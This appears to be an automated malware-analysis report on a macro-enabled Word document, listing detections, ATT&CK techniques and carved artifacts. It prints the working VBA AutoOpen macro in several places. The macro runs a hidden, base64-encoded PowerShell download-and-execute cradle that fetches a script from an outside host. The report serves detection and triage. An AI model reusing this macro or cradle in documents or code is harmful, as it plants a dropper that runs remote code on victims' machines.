MALICIOUS
390
Risk Score
Malware Insights
MITRE ATT&CK
T1059.001 PowerShell
T1059.003 Windows Command Shell
T1566.001 Spearphishing Attachment
The sample contains a VBA macro with an AutoOpen subroutine that executes a PowerShell command. The PowerShell command is base64 encoded and appears to download a script from the URL 'http://kali/wiresles.ps1'. This indicates a downloader or droppper functionality, likely delivered via spearphishing.
Heuristics 9
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ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
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VBA project inside OOXML medium 5 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
' pid = Shell("cmd.exe /c ""powershell.exe -encodedcommand aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkALwB3AGkAcgBlAGwAZQBzAHMALgBwAHMAMQAiACkAKQA=""", vbHide) End Sub -
PowerShell reference in VBA critical OLE_VBA_PSPowerShell reference in VBAMatched line in script
' pid = Shell("cmd.exe /c ""powershell.exe -encodedcommand aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkALwB3AGkAcgBlAGwAZQBzAHMALgBwAHMAMQAiACkAKQA=""", vbHide) End Sub -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
' pid = Shell("cmd.exe /c ""powershell.exe -encodedcommand aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkALwB3AGkAcgBlAGwAZQBzAHMALgBwAHMAMQAiACkAKQA=""", vbHide) End Sub -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "NewMacros" Sub AutoOpen() ' -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
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macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 661 bytes |
SHA-256: 70ec819047124594a3112b8326c31714f1b251db80a6143ae0ec7248a1f91fef |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
'
' Report Macro
'
'
pid = Shell("cmd.exe /c ""powershell.exe -encodedcommand aQBlAHgAIAAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvAGsAYQBsAGkALwB3AGkAcgBlAGwAZQBzAHMALgBwAHMAMQAiACkAKQA=""", vbHide)
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 13312 bytes |
SHA-256: 3c2f1033bda1e060929b0bac26f7676e24f6bbcd5882500bb45863c9fc22fec1 |
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Detection
ClamAV:
Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload:
likely
Carved artifact contains a PowerShell -EncodedCommand style payload. Carved artifact contains 1 long base64-like blob(s).
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